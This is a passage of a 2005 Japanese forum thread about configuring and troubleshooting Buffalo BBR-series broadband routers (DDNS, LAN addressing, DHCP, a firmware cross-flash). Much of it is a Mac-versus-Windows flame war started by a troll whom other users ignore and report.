動作しません。ハードの問題かと思い、コレガのBAR-SDにしたり、ddnsサービス
の会社も変更してみましたが、症状は変わりません。

DVDの操作は東芝のネットdeナビ(録画予約)なのでさほど負荷はないはずですが。
サポセンにも電話しましたが、全く役に立ちません。

ddnsサービスを使うとログがルーターにたまってその機能がハングしてしまうのでしょうか?
それともこの程度の価格のルーターはこんな物という事でしょうか?
(AV板の東芝スレだとみんな安いルーターだが、問題は出ていない様子。
 私の家だけ何か環境が悪いのだろうか?普通のフレッツADSLですが。)
ddns以外の機能は全く問題ありません。


133 :お団子ちゃん ◆DANGOpn1U2 :05/02/11 19:17:07 ID:uJdrED7U
>114

あなたのその軽卒な行為が、お団子ちゃんに
新たなダメージを与える結果になりました。

今後このような事が続くようであれば、善意の活動に
悪影響を及ぼしかねないので謹んで頂くようお願いいたします。

134 :不明なデバイスさん:05/02/11 22:11:23 ID:wm+ma+hf
>>132
IPの更新って何でやってんの?
BBRってdyndnsしか出来なかった様な気がするんだけど

135 :不明なデバイスさん:05/02/12 00:08:00 ID:QgjFWXFC
>>134 正解

>>132 取説嫁

136 :不明なデバイスさん:05/02/12 01:19:13 ID:x1kIdKsR
.tees.ne.jp を全サーバで規制。

無意味な文字列を連続投稿(連続コピペ)
による2ちゃんねるに対する迷惑行為。

参照
【強化】age あらし、保守あらし報告スレ3【週間】
http://qb5.2ch.net/test/read.cgi/sec2chd/1107513866/62 (報告)
http://qb5.2ch.net/test/read.cgi/sec2chd/1107513866/111 (ログ)
http://qb5.2ch.net/test/read.cgi/sec2chd/1107513866/146 (まとめ)

お団子ちゃん ◆DANGOpn1U2 <><>05/02/08 01:01:03 +osKXUvd<>誰も相手にしてくれないから、も<><>catv-224-113-051.tees.ne.jp<>202.224.113.51<>
お団子ちゃん ◆DANGOpn1U2 <><>05/02/08 20:45:18 +osKXUvd<>違法行為や悪事の数々を行って来<><>catv-224-113-051.tees.ne.jp<>202.224.113.51<>
お団子ちゃん ◆DANGOpn1U2 <><>05/02/09 01:46:02 3CZLsohG<>みんなで折れをシカトして、ここ<><>catv-224-113-051.tees.ne.jp<>202.224.113.51<>
お団子ちゃん ◆DANGOpn1U2 <><>05/02/10 00:23:13 EKa+WGkB<>★★★ 今日のコピペ ★★★ <br<><>catv-224-113-051.tees.ne.jp<>202.224.113.51<>
お団子ちゃん ◆DANGOpn1U2 <><>05/02/10 00:57:08 EKa+WGkB<>>69 <br> <br> この場合互換<><>catv-224-113-051.tees.ne.jp<>202.224.113.51<>

備考 まだ発動してません

137 :不明なデバイスさん:05/02/12 01:33:48 ID:S2HhH4ry
以前「このルータはハブがイマイチ」というのを見た気がするんですがどうですか?
単にファームが安定するまでの話だったのかな?

138 :不明なデバイスさん:05/02/12 08:18:40 ID:2CYYF1fA
うーん、ハブの機能には正直期待していないかも?

139 :不明なデバイスさん:05/02/12 09:19:01 ID:nmRvWeIY
うちは特に不都合は無いな
まあ、使い方次第だとは思うんだけど

140 :不明なデバイスさん:05/02/12 09:21:17 ID:nmRvWeIY
連カキコすまん

うちの場合、
PC3台(メイン、サブ、ファイル鯖)とネットワークプレイヤー×1
な構成をつないで運用しているけどね

141 :不明なデバイスさん:05/02/12 09:58:15 ID:x1kIdKsR
>>139-140
インターネットに通信しない時と通信してる時で速度はどうなんだ?

1つのMPUで処理してる限りインターネット側のパケ処理してると遅くなるはずだが

142 :不明なデバイスさん:05/02/12 09:58:24 ID:dvAfms7U
>>129
え?空欄じゃだめなの???????

143 :不明なデバイスさん:05/02/12 11:46:10 ID:3cr3jw3P
>>129-130
>>142
空欄は絶対にダメっていう訳でもない

ルータのログインに不正アクセスできないような機種や接続方法や環境なら空欄でも良いよ
それが分からなかったら入れといた方が良い、勝手に設定を変えられたら嫌だろ?
その代わり手間が掛かって少々不便だがな
漏れの場合、今の環境では必要って訳じゃないから、毎回ログインが楽チンな空欄にしてる
(・∀・)

144 :不明なデバイスさん:05/02/12 11:54:05 ID:Z9aTNn8I
root66

145 :不明なデバイスさん:05/02/12 15:37:14 ID:h+BbsiM9
cont55

146 :不明なデバイスさん:05/02/12 15:52:10 ID:p4y32AIX
ポートを開放したいと思い、ネットワーク設定>アドレス変換と進み
「アドレス変換ルールを入力」のボタンを押したのですが何も起こりません。
何が原因なのでしょうか?BBR-4MGを使用しています。

147 :不明なデバイスさん:05/02/12 17:56:06 ID:oD91Bypw
>>127
192.168.11.1から192.168.101.1に変更したら
嘘のように安定してますよ・・・。
ファームウェアは1.10 Release 0023ですが。

以前は「パソコンの画面にポップアップで通知する」を設定すると
速攻で固まってたんですが。
夢でもみてるんだろうか。



148 :不明なデバイスさん:05/02/12 18:53:44 ID:dvAfms7U
>>143
サンクス!
ヤフーだからパスワードいれとくよ

149 :不明なデバイスさん:05/02/12 19:45:15 ID:6JvhYSVp
>>146
たーしか、公式のファッキューに似たような症状の解決策が有ったと思うが・・・

javaだったか、アンチウイルスソフトだったかで
ポップアップ制御してたら駄目なんだっけか?
漏れもそこで躓いた覚えが有る

150 :146:05/02/12 19:51:52 ID:PUkj1hcP
>>149
先生切ったらできました…お騒がせしてすみません

ところでみなさんが話している192.168.101.1ってどこで設定するのですか?
LAN側ADSLアドレスの192.168.11.1となっているところを変更しようとすると
範囲が違うみたいなことを言われて変えることができませんでした

151 :不明なデバイスさん:05/02/12 20:19:05 ID:/56pkwWo
>>150

割り当てIPアドレス 192.168.101.2 から 16台

注意:
LAN側IPアドレスを変更すると、設定を続行できなくなります。
設定を続ける場合は、一度ブラウザをすべて終了してパソコン側の設定を変更し、
ユーティリティからブラウザを起動してください。

152 :147:05/02/12 20:52:26 ID:oD91Bypw
>>150
自分と同じ間違いをしてますね?
LAN側IPアドレス

割り当てIPアドレス
を、同じにしなくてはいけません。
後は、>>151の通りです。
恥ずかしながら自分も嵌ったっす。

153 :147:05/02/12 20:53:08 ID:oD91Bypw
ああああ!
同じじゃなかった。
同じなのは192.168.101までです。

154 :不明なデバイスさん:05/02/12 22:15:51 ID:Q2kwOrB0
LAN側IPアドレス が192.168.101.1 なら
割り当てIPアドレス は192.168.101.2 から16台
だろ

155 :不明なデバイスさん:05/02/13 00:15:20 ID:jdUvlT2k
セキュリティ高にしてるけど、SPIって効いてるのかな・・?
FTP閉めた後も数時間は素通りしてるが・・。

156 :不明なデバイスさん:05/02/13 04:42:21 ID:WRN046WG
>>128
やり方詳しく教えてくれ。情報探してるんだが上手く見つからない・・・

157 :不明なデバイスさん:05/02/13 04:50:11 ID:WRN046WG
すまん、みつかった。これとこれか・・・
ttp://www.chichibu.ne.jp/~kawahira/library/bbr-4mg.htm
1.HG用ファームを落として自己解凍する。

2.解凍して現れたバイナリファイルを適当なバイナリエディタで開く。

3.最後の行の48を4Dに変更して上書き保存する。

4.MGにログインしてローカルからファーム書き換え操作する。

5.自動再起動するが、この後念のためMGの電源コードを抜き刺しして再起動。

6.もう一度ログインして各種設定をしなおす。また設定のバックアップもついで
 にしておく。

7.わからない香具師はケーブル抜いて首を(略)またはHG買ってこい。

8.以後判らないと言う香具師は二度と来るなヴォケ!

158 :不明なデバイスさん:05/02/13 05:42:48 ID:FXzb7P4E
>>128
>>157
で、設定画面に何か変化があって成功したかどうかって違いは分かるの??

159 :不明なデバイスさん:05/02/13 05:43:39 ID:QhpfP2y3
ていうかMもHもそんなに値段変わらないじゃんねぇ…
マニア(悪い意味ではない)以外でそんな改造する意味あんの?

160 :不明なデバイスさん:05/02/13 05:56:20 ID:aJOsQDmL
>>158
パスワード入力画面の右上に「BBR-4○G」と表示されてる。

161 :不明なデバイスさん:05/02/13 06:00:31 ID:FXzb7P4E
>>159
気にスンナ

>>160
なる。サンクス

162 :不明なデバイスさん:05/02/13 13:56:28 ID:US+Eimb8
>>4
>MACアドレスによるPC端末のIP固定
とあるけれども、これは何処でどうやれば設定出来るのでしょうか?
WEB説明書は見難くて良く分からなかったです・・・

163 :不明なデバイスさん:05/02/13 14:00:52 ID:TXqucYH0
LAN設定->DHCPサーバ->手動割り当てルール入力

164 :不明なデバイスさん:05/02/13 14:03:21 ID:US+Eimb8
>>163
素早く無駄ない回答有難うです。
ちなみにDHCPをOFFにしてても出来ますか?

165 :不明なデバイスさん:05/02/13 14:13:09 ID:TXqucYH0
>>164
ひとつ聞くが、DHCPを使わない場合お前はどうやって個々のPCにIPアドレスを設定する?

166 :不明なデバイスさん:05/02/13 15:52:47 ID:FBOJF7m6
>>165
なるほど・・・・前に使ってたルーターはDHCP切っても設定できてたので。
分かりましたであります。

167 :お団子ちゃん ◆DANGOpn1U2 :05/02/13 21:50:39 ID:hcpdy1Vg
>165

DHCP切った状態だって、
IP固定はできるだろよ。┐(´ー`)┌

168 :不明なデバイスさん:05/02/13 21:57:45 ID:6nBXyPeh
>>167
文脈を理解できない人ですか?

169 :不明なデバイスさん:05/02/13 22:22:39 ID:feHvKygM
日本人じゃないんだろう
言ってることが理解出来ていない

170 :お団子ちゃん ◆DANGOpn1U2 :05/02/13 22:23:00 ID:hcpdy1Vg
IP固定する作業1つとってもWinは行程がより多くて分かり難いよね。
説明書とか見てもWinの方がMacより3倍〜5倍もスペースとって
説明されてるのもうなずけるね。┐(´ー`)┌

【Mac OS Xの場合】

システム環境設定→ネットワーク→TCP/IPを選択。

IPv4を設定:手入力
IPアドレス:192.168.11.2(一例)
サブネットマスク:255.255.255.0
ルータ:192.168.11.1
DNSサーバ:192.168.11.1

【Windows 2000の場合】

コントロールパネル→ネットワークとダイヤルアップ接続→
自分の作った接続ファイルを選択→プロパティ→インターネットプロトコル選択→
プロパティ→次のIPアドレスを使うを選択。

IPアドレス:192.168.11.2(一例)
サブネットマスク:255.255.255.0
デフォルトゲートウェイ:192.168.11.1

次のDNSサーバーのアドレスを使うを選択

優先DNSサーバー:192.168.11.1
代替DNSサーバー:空欄

171 :不明なデバイスさん:05/02/13 22:24:09 ID:feHvKygM
その分 Xはプルダウン多いだろ

172 :お団子ちゃん ◆DANGOpn1U2 :05/02/13 22:42:31 ID:hcpdy1Vg
>171

上の例で言えば、プルダウンはIPv4を設定:手入力の所にあるけど、
別にだらだらと長いメニューが出るわけでもないし、Macの場合、
設定に必要な物が第一階層の直ぐ目に付く所に揃えてあるので、
設定箇所を探さなければならないような複雑さもなく初心者にも
分かり易い作りだが、Windowsの場合だと、コントロールパネルを
選んだのにファイルが出て来てみたり、ボタンを押して設定を呼び出す
場合もあれば右クリック使わなきゃ呼び出せなかったりと、統一感が
まるでなく、手順を覚えていないと戸惑うような作りだよね。

Windowsの場合、終始こんな作りなので、何をやるにも手際良く
ぱっぱっっと出来ないんだよね。┐(´ー`)┌

173 :不明なデバイスさん:05/02/13 22:48:30 ID:feHvKygM
馬鹿でも使えるってな

174 :お団子ちゃん ◆DANGOpn1U2 :05/02/13 22:57:54 ID:hcpdy1Vg
>173

流石にバカじゃ使えないだろうけど、シンプルだから
自然と作業効率は良くなるし、覚えなきゃならないことも
少なくて済む。

それに引き換えWindowsのように遠回りで余分な行程が必要な
UIだと何かメリットでもあるの?

175 :お団子ちゃん ◆DANGOpn1U2 :05/02/13 23:01:53 ID:hcpdy1Vg
UIで言えば、このルーターの設定画面も何度もクリックしなきゃ
目的の設定箇所へたどり着けない上、セキュリティーレベルの設定などは
全く違う場所にあったりと作りがWindowsライクだよね。┐(´ー`)┌

176 :不明なデバイスさん:05/02/13 23:02:50 ID:feHvKygM
>遠回りで余分な行程が必要

だから馬鹿だって言うのが分からんのか?

177 :お団子ちゃん ◆DANGOpn1U2 :05/02/13 23:08:27 ID:hcpdy1Vg
>176

詳しく聞かせてもらおうか?
その前に君はMacを知ってるの?
そうでなきゃ、WinのUIが如何に出来損ないなのか
なんて分からないだろうしね?

178 :ちょしんしゃ:05/02/13 23:11:15 ID:YfLOkHTA
家内LANで2台のPC同士を繋げなくても、ルータの設定でファイルを受け渡しってできますか?

179 :お団子ちゃん ◆DANGOpn1U2 :05/02/13 23:12:39 ID:hcpdy1Vg
マカーがWinを糞だと言う場合は、両方を使った上で
言う場合が多いけど、ドザの場合妄想で言ってる場合が
ほとんどだからな〜。┐(´ー`)┌

180 :不明なデバイスさん:05/02/13 23:15:57 ID:Bv/hPjqX
えと、スレに関係ない話はよそで。
スルースルー。

181 :お団子ちゃん ◆DANGOpn1U2 :05/02/13 23:16:37 ID:hcpdy1Vg
>178

物理的(無線も含む)に繋がってないのに2台のマシン間で
ファイルの受け渡しはできないけど・・・やっぱこれも
文脈なのかな・・・。┐(´ー`;)┌

182 :不明なデバイスさん:05/02/13 23:16:56 ID:feHvKygM
http://www.zerotown.com/webdata/access/os_01.htm

なぜこういうシェアになるか分かるか?
まぁ1年前のネタだし正確かどうかは別にしても指標にはなるだろう。

俺は仕事でMacintosh、自宅では両方使ってる。
>遠回りで余分な行程が必要
うちの職場の人間で、Windowsの事をこう言う人間は居ない。

お前の言っている事は偏りすぎ。
止めて欲しくて出てきてる。 恥ずかしい。

俺はMacintoshを糞だなんて思わない。
いいOSだと思う。
だがな お前は糞だ。 Macintosh使うな。

183 :不明なデバイスさん:05/02/13 23:17:56 ID:CGS+uC5r
ねぇ、お団子ちゃんってさぁ、コレガのスレで居るちゃんばばのようなもの?

つまりバァファロー版のちゃんばば=お団子ちゃん かいな?


184 :不明なデバイスさん:05/02/13 23:20:53 ID:liAvPMUf
【規制議論板】質問でも雑談でもOKのスレッド20
http://qb5.2ch.net/test/read.cgi/sec2chd/1106906492/115
>115 名前: ◆cham11BwbI [sage] 投稿日: 05/01/31 13:30:37 ID:H8IWe1D7
>「放置できない人も荒らし」ってのは名言ですね

【強化】age あらし、保守あらし報告スレ3【週間】
http://qb5.2ch.net/test/read.cgi/sec2chd/1107513866/l50

【単独スレ】スクリプト・コピペ報告スレッド13【全板共通
http://qb5.2ch.net/test/read.cgi/sec2chd/1103673750/

185 :不明なデバイスさん:05/02/13 23:21:16 ID:feHvKygM
すまん 止める。

186 :お団子ちゃん ◆DANGOpn1U2 :05/02/13 23:22:06 ID:hcpdy1Vg
>182

シェアが低いのはOSをライセンスしてないことが
もっとも大きい原因であって、OSの善し悪しには
全く関係がないんだけどね?

例えばカローラバンはもの凄く売れてる車だけど、
ベンツやBMWと比較して性能が良くてすばらしい車だから
売れてるのですかね?


187 :不明なデバイスさん:05/02/13 23:37:31 ID:pZf9uqHN
そもそも外国製品を並べて語るなんて非国民が。
日本人ならコレ、超漢字。

188 :お団子ちゃん ◆DANGOpn1U2 :05/02/13 23:47:23 ID:hcpdy1Vg
>187

超漢字だってシェアで言えば少ないけど、とても優れたOSと聞くし、
アメリカと日本との国家間のしがらみがなかったら、今のように
三流のWindowsがスタンダードにならず、BTRONベースのOSが
主流になっていたとか言う話を聞いたことがあるよ。


189 :お団子ちゃん ◆DANGOpn1U2 :05/02/13 23:52:49 ID:hcpdy1Vg
要するに日本には日本人が開発した優れたOSBTRONがあったが、
アメリカの圧力によって半強制的に粗悪なWindowsを使う羽目に
なってしまったと言うことです。

ま、ドザはまんまとアメリカにしてやられてるとも知らずに、
何の疑いもなく粗悪なOS使っているんだから、知らないってのは
幸せなことですね・・・。┐(´ー`)┌

190 :不明なデバイスさん:05/02/13 23:58:08 ID:feHvKygM
>>186
お前はカローラバンのスレに来たベンツオーナーなんだろ?
やってることを自覚しろって言ってるんだよ

あー すまん ほんと

191 :不明なデバイスさん:05/02/13 23:58:43 ID:hU03G5kl
「192.168.1.1」では安定しなくて「192.168.101.1」にすると安定する理由だが、
経路に「192.168.1.〜」を使っているプロバイダの場合とかでは無かろうか?
と推測してみたりする。

192 :不明なデバイスさん:05/02/13 23:59:48 ID:FBOJF7m6
「放置できない人も荒らし」ってのは名言ですね>>190

193 :不明なデバイスさん:05/02/14 00:00:31 ID:feHvKygM
はい

194 :お団子ちゃん ◆DANGOpn1U2 :05/02/14 00:03:44 ID:yoQ/bbAq
>190

ルーターだから、本来MacもWinも関係ないのに、
ドザがマカーは来るな!みたいなこと言い出すから、
Mac対Winの話に飛躍する羽目になったんだよ。┐(´ー`)┌

195 :128:05/02/14 00:05:46 ID:UaKpmOQh
で、なんでOS論議が始まってるのよ・・・・ よそ行けよ。

----
>157 代わりに答えてくれてありがとうございます。 のとおりですね!

>156 成功をお祈りしております。

196 :お団子ちゃん ◆DANGOpn1U2 :05/02/14 00:08:22 ID:yoQ/bbAq
>195

そもそもこのルーターの質問者がたまたまマカーで、
ここの住民がマカーはよそで質問しろ!なんて言い出したから、
そりゃ、OS間の対立問題に発展しても不思議は無い。┐(´ー`)┌


197 :不明なデバイスさん:05/02/14 00:11:35 ID:BRCEmmjf
BMWもBenzも日本車と変わらないってのが
両方持ってた人間の感想ですがw

外見だけ

198 :不明なデバイスさん:05/02/14 00:14:44 ID:rm26WwC6
>>196
>136

199 :不明なデバイスさん:05/02/14 00:15:20 ID:lTFAfIHD
マカーは

 ('A`)  スルー ('A`)  スルー ('A`)  スルー
 (〜)〜     (〜)〜    (〜)〜
  ノノ       ノノ       ノノ

200 :お団子ちゃん ◆DANGOpn1U2 :05/02/14 00:17:35 ID:yoQ/bbAq
>195

【こうなった経緯】

このルーターを使ってるマカーが少数派だからと言って
マカーを邪魔者にして虐めるドザを見て黙っていられなく
なっただけだよ。

ま、マカーの虐め返しところかな。┐(´ー`)┌




201 :不明なデバイスさん:05/02/14 00:20:28 ID:GtI5znwj
 ('A`)  スルー ('A`)  スルー ('A`)  スルー
 (〜)〜     (〜)〜    (〜)〜
  ノノ       ノノ       ノノ

202 :不明なデバイスさん:05/02/14 00:20:47 ID:tgrJJxd2
「放置できない人も荒らし」ってのは名言ですね

 ('A`)  スルー ('A`)  スルー ('A`)  スルー
 (〜)〜     (〜)〜    (〜)〜
  ノノ       ノノ       ノノ

203 :お団子ちゃん ◆DANGOpn1U2 :05/02/14 00:21:28 ID:yoQ/bbAq
>197

昔と違って日本車も進歩して良くなったから良い国産車と欧州車とを
比べるなら違いは大きくないだろうけど、流石にBMWやBENZのバンと
黒バンバーのカローラ版とを比較したら変わらないとは思わないでしょ?┐(´ー`)┌

204 :お団子ちゃん ◆DANGOpn1U2 :05/02/14 00:22:11 ID:yoQ/bbAq
>202

そういうあなたも放置できていない
一人なんだけどね。┐(´ー`)┌

205 :不明なデバイスさん:05/02/14 00:22:29 ID:ZJXSU7C6
 ('A`)  スルー
 (〜)〜
  ノノ

206 :不明なデバイスさん:05/02/14 00:24:16 ID:rm26WwC6
>>だんご
PowerMac 7200/120について語ってくれ

出来ないなら帰れっ

207 :お団子ちゃん ◆DANGOpn1U2 :05/02/14 00:25:22 ID:yoQ/bbAq
>206

出来ないから帰るよ。┐(´ー`)┌

208 :不明なデバイスさん:05/02/14 00:26:37 ID:vDMyw6MH
>>206
放置しろよバカ

209 :不明なデバイスさん:05/02/14 00:29:19 ID:a7w1OECg
地震びびった・・・震度3
で、とりあえず漏れは次買うPCはmacにする

210 :不明なデバイスさん:05/02/14 00:33:07 ID:rm26WwC6
>>208
帰ったからいいじゃないか



書いてる内容見てもMacOS 10以降だし
どうせoldMac(KT 7.5.5以前の機種)を使ったこと無い人なんだろ

211 :不明なデバイスさん:05/02/14 00:43:16 ID:wpTwWC04
ま、次から「も」通報するってことで・・・

212 : ◆IAc6UigumM :05/02/14 00:55:28 ID:rm26WwC6
>>211
今度来て話がそれたら
通報

213 :195:05/02/14 01:05:13 ID:8S6BbzAh
なんか燃料投下しちゃったようですんまそ。

と言いつつ、漏れも一時マカやってた頃があったりして・・・・
Q950 Q800 LC3 LC475 LC630 カラクラ PM8100 PM6100 PM7100
PM9500 P8500 PM7500 PM9600 PM8600 PM7600 PMG3DT あと数台?
個人的に9600にOS8.5までがいいですね。 ただ、こんだけ使って思った・・・・
Macは身を壊すと・・・・ 貴重な青春時代をかえせぇ〜 改心して最近はPCです。

214 :不明なデバイスさん:05/02/14 01:11:08 ID:XK01Yh9w
NGワード登録汁

215 :不明なデバイスさん:05/02/14 11:29:24 ID:dB2brMjh
XPと98の2台のパソコンで4MGを共有して使っています。

192.168.101.1の設定を行い、割り当ても101.2から16台にしたのですが、98の方が設定を行うと使えなくなります。
設定はXP側から行っており、XP側は使えます。また設定を戻すと両方使えるようになります。

98のほうでIPユーティリティーを起動させようとすると、青い画面になりエラーになります。

解決法わかるかたいましたら教えてください。

216 :不明なデバイスさん:05/02/14 11:51:07 ID:rm26WwC6
>>215
1.ルーターの電源入れる
2.XPを起動してルーターの設定
3.98を起動する

これでどう?


>98のほうでIPユーティリティーを起動させようとすると、青い画面になりエラーになります。
DOSプロンプトから
ipconfig /renew
をやればいい

217 :不明なデバイスさん:05/02/14 14:03:46 ID:+GZ47i8Z
>>215
98をリカバリー

218 :不明なデバイスさん:05/02/14 14:04:45 ID:+GZ47i8Z
>>215
98をリカバリ

219 :不明なデバイスさん:05/02/14 16:52:37 ID:fGz+CKCD
新ファームまだぁ…(´・ω・`)

220 :不明なデバイスさん:05/02/14 16:59:48 ID:+1Q3map1
と言う事は、今のファームのルータのどこが不満なのですか?

221 :不明なデバイスさん:05/02/14 17:16:59 ID:fGz+CKCD
…βなところとか?
ヽ(`Д´)ノウワァァァン

222 :不明なデバイスさん:05/02/14 18:12:46 ID:+1Q3map1
それなら新ファームと言うより
「ベータが取れるのはまだぁ?」か
「正式版のファームはまだぁ?」でしょ (・д・)

223 :不明なデバイスさん:05/02/14 19:46:48 ID:x+lZDuUG
↑漫才?

224 :不明なデバイスさん:05/02/14 21:09:03 ID:I0JTsYl5
AAAの信頼性

          BUFFALO

225 :不明なデバイスさん:05/02/14 23:34:53 ID:+GZ47i8Z
>>224
んなアホな。

226 :お団子ちゃん ◆DANGOpn1U2 :05/02/14 23:37:48 ID:yoQ/bbAq
A=あきれる品質
A=あきれる使い心地
A=あきれる製品

バッファローは見事トリプルA。┐(´ー`)┌


227 :不明なデバイスさん:05/02/14 23:56:45 ID:UIK+Cfe2
BLR3-TX4がそろそろ調子悪くなってきしました。
WANのX=||の切り替えスイッチの接触不良です。結構深刻で
きまぐれで、光メディアコンバーターと接続がついたり切れたり。
今のとこ安定してますが、目が覚めたら切れてたり。
で、BBR-4HGに乗り換えを検討していますが、
MRTGを動かしているため、ログインのフォームや通信パケット情報が
どのような状態なのか知りたいのですが。。。
plを書き換える準備というか。あとセッション数は4096あるんでしょうか?
NECのWR7600も持ってるんですが、負荷かけるとローカルエリアのハブも巻き込んで
コケルとんでもないルーターだったので、、、安く、安定となるとこのあたりしか
選択しがないんです。
htmlのソースなんかどっかでみれたらうれしいのですが。

228 :不明なデバイスさん:05/02/15 00:18:44 ID:s++mGA6n
こういう基地外見る度に二度とApple製品を買いたくないと思ってしまう。

229 :不明なデバイスさん:05/02/15 00:27:08 ID:JLa7TDQT
>>228
ま、スルーしつつも通報すれば無問題

230 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 00:41:23 ID:JDfgkbqX
>228

全く問題なし。
あなたは一生Apple製品買わないでね〜。┐(´ー`)┌

231 :不明なデバイスさん:05/02/15 00:46:16 ID:XJoEavo7
>>226
「あきれる使い心地」てのは日本語じゃないな。

232 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 00:48:51 ID:JDfgkbqX
>231

A=あまちゃんな作り
A=あふぉくさい使い心地
A=あきれる品質

バッファローは見事トリプルA。┐(´ー`)┌


233 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 00:58:37 ID:JDfgkbqX
>228,229

君たちが三流のポンコツWindowsを使って、日々ウィルスや
スパイウェア、年間100を超えるアップデートに汗だくで対処
しているのを見て、幸福感に浸れるのもMacのメリットだから、
あまりMacユーザーが増えてしまうのも困りものなのですよ。

だから君たちは一生Windowsを使い、マカーに見下され
続けて下さいね。┐(´ー`)┌

234 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 01:14:58 ID:JDfgkbqX
【お団子ちゃんからのお願い】

昔はMacも高くて庶民には手の出せない価格だったので、
自然と優越感は維持できたのですが、現在Macも安くなり、
ドザのような凡人にも簡単に買え、優越感を維持出来ない
恐れが出てました。

いくら安くて堅牢・高性能な1流品な製品だからと言っても、
絶対にドザはMacを買わないで下さいね。

235 :不明なデバイスさん:05/02/15 01:32:30 ID:FanAUSSy
>>ID:JDfgkbqX
漏れはmac買うよ

236 :不明なデバイスさん:05/02/15 01:33:42 ID:BUzg2SV4
今のマクは中身PCと同じ。
高級というのは2FXみたいのを指す。
あんま暴走するなYO! 林檎ユザが皆悪く見られる。
経営危ないときにビルに助けてもらったりしてるし、
林檎ユザにも親旗派も多少はいる。

237 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 01:40:48 ID:JDfgkbqX
>236

ドザにへつらうようなヘタレマカーなど
Macコミュニティーに必要ありません。
とっととMacを窓から投げ捨て、速攻でWindows
買いに行くと良いですよ。┐(´ー`)┌

238 :\___________/:05/02/15 01:41:27 ID:22sfn0j+
         ∨
     _____
   /::::::::::::::::::::::::::\                  _
  /:::::::::::::::::::::::::::::::::::::\              /  ̄   ̄ \
  |:::::::::::::::::|_|_|_|_|            /、          ヽ はぁ?黙ってろデブ
  |;;;;;;;;;;ノ   \,, ,,/ ヽ          |・ |―-、       | 
  |::( 6  ー─◎─◎ )          q -´ 二 ヽ      |
  |ノ  (∵∴ ( o o)∴)          ノ_ ー  |     | 
/|   <  ∵   3 ∵>          \. ̄`  |      / 
::::::\  ヽ        ノ\           O===== |
:::::::::::::\_____ノ:::::::::::\        /          |

239 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 01:44:24 ID:JDfgkbqX
マイクロソフトがロングホーンを出荷し、そのあまりにも
重く出来損ないなOSに嫌気がさし、セキュア且つ堅牢で
動作の軽いMac OS Xに目を向けることが想定されます。

今後は黙っていてもMacユーザーは自然と増えて行くで
しょうから、Windowがポンコツな三流品と言うことも
見えないような盲目ドザは、永遠にWindowsを使っていて
くれるとこちらも助かるのですよ。┐(´ー`)┌

240 :不明なデバイスさん:05/02/15 01:49:39 ID:BUzg2SV4
お前に言われたくない。
いつからマク使ってるよ?
新参者が。

241 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 01:53:55 ID:JDfgkbqX
>240

もしかしてMac信者さんですか?
信者はMacユーザーのガンであり天敵なので、
さっさとWindowsユーザーに転向して下さいね。┐(´ー`)┌

【あなたに相応しいスレ】
Mac信者がMac環境に及ぼす悪影響について語るスレ
http://pc7.2ch.net/test/read.cgi/mac/1103803596/


242 :不明なデバイスさん:05/02/15 02:35:46 ID:TYBsKUbN
ルータの話がしたいんだけど?


243 :不明なデバイスさん:05/02/15 02:38:42 ID:22sfn0j+
>>241
もしかしてMac信者さんですか?
信者はMacユーザーのガンであり天敵なので、
さっさとWindowsユーザーに転向して下さいね。┐(´ー`)┌

【あなたに相応しいスレ】
Mac信者がMac環境に及ぼす悪影響について語るスレ
http://pc7.2ch.net/test/read.cgi/mac/1103803596/

244 :不明なデバイスさん:05/02/15 03:20:09 ID:gT532fdO
 ス  ル  ー  で  き  な  い  香  具  師  も  荒  ら  し !!

245 :不明なデバイスさん:05/02/15 03:29:37 ID:a29Nhi6v
  (G)´ ̄`ヾ)
  Yノノノハ))〉  
 。〃(l ゚ ヮ゚ノヽ。
     ⊂彡☆))Д´) ←お団子ちゃん ◆DANGOpn1U2

246 :不明なデバイスさん:05/02/15 03:32:50 ID:JLa7TDQT
あらしの報告スレってドコだったかな、誰か教えてくれ

247 :不明なデバイスさん:05/02/15 03:33:26 ID:TYBsKUbN
正直BBR(MもHも)気に入ってる?
俺は気に入ってますよ 4HG
まぁ初めて買ったルータなんで、コレしか知らないんですがw

248 :不明なデバイスさん:05/02/15 07:34:06 ID:o1jfzySQ
BBBの信頼性

          BUFFALO

249 :不明なデバイスさん:05/02/15 18:38:26 ID:yvk1bX7Z
BBRの信頼性

          BUFFALO


……もう、何がなんだか……


250 :不明なデバイスさん:05/02/15 18:49:58 ID:T7/lWhjW
それで今のところ深刻な問題ってある?

251 :不明なデバイスさん:05/02/15 20:53:53 ID:XJoEavo7
>>250
BBRの1.04未満のファームだと・・・

252 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 20:59:12 ID:JDfgkbqX
>250

赤ら様に深刻な問題があったら商品として
成り立たんわな。

ま、クソニーは深刻な問題があっても出荷して
しまうようないい加減な会社だけどね。┐(´ー`)┌

253 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 21:08:09 ID:JDfgkbqX
ま、光ファイバーなどを使った高速回線環境だと
使い物にならない低性能なところが問題だと言えるな。

現時点で高速回線な人や、これから移行する人も多い
だろうから長く使えるルーターじゃないことを考えると、
所詮は安いなりの製品なんだよな。┐(´ー`)┌

254 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 21:12:21 ID:JDfgkbqX
でも、コレガは安くても高セキュリティー状態で
高スループットを維持できてることを考えると、
BBRの低性能ぶりは値段が安いせいだからとも
言えないな。┐(´ー`)┌

255 :不明なデバイスさん:05/02/15 21:28:19 ID:7BQ0e5lB
>>254
何を知ったかぶってるんだ・・・
因みに俺はcoregaで痛い目見たのでバッファロウに乗り換えた口だ。

【無駄な議論】Coregaのルータ別館【禁止】
http://pc5.2ch.net/test/read.cgi/hard/1092554459/

256 :不明なデバイスさん:05/02/15 21:28:29 ID:uYW5Y3YO
馬鹿



257 :お団子ちゃん ◆DANGOpn1U2 :05/02/15 21:31:38 ID:JDfgkbqX
>255

コレガの1製品使っただけで、全てのコレガが
ダメだと決めつけてる方が知ったかだろよ。┐(´ー`)┌

258 :不明なデバイスさん:05/02/15 21:40:57 ID:RC/uVN8K

      あんた!書き込み板間違ってますから!
                            
それがお団子ちゃんクオリティ。
                               http://pc5.2ch.net/win/


      

259 :不明なデバイスさん:05/02/15 21:40:59 ID:BsxNyjlh
ぬるぽ

